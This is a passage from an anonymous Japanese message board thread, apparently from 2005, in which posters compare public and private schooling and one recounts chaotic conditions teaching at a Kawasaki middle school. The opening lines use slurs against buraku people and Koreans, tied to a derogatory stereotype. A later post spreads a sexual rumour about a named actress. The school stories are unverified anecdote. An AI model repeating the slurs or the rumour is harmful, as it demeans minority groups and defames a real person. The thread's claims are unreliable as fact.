日本ではB民が多い。
成金チョソは私立を好む。

988 :実習生さん:2005/04/25(月) 13:49:21 ID:G2kuTgX4
ビバリーヒルズ白書は公立高校が舞台じゃないっけ?
アメリカも私立が少ないから公立優位の田舎が多いべさ
イギリスは金持ちかどうかより親の政治意識によっても違ってくる
金持ちでも労働党支持者は公立にするし
貧乏移民は政治理念より成り上がり思考で出来の良い子がいれば
私立の奨学金ゲットさせるべく親は必死に動くべさ

989 :実習生さん:2005/04/25(月) 14:47:30 ID:chA9Jsb/
昔川崎の中学で常勤講師やってたけど
絶対やめたほうがいいよ
生徒はやくざの息子とか既にやくざに入ってる香具師とかもいて
もう手がつけられんかった
うつ病になる先生も多い
体育館で女子生徒1人と10人くらいの男子生徒がセックスして
大量の使用済みコンドームが発見されたりむちゃくちゃだった
生徒間のいじめも無茶苦茶あって
地域柄 人権関係に発展する重いいじめが多発して精神的に無茶苦茶になった


990 :実習生さん:2005/04/25(月) 18:03:37 ID:slLmvO8W
川崎ってギャンブルと風俗と公害のイメージしかない。
矢田亜希子も地元の武蔵小杉ではヤリマンで有名らしい。

991 :実習生さん:2005/04/25(月) 22:15:02 ID:3jMOE0qi
川崎でも南部と北部じゃ全然違う。

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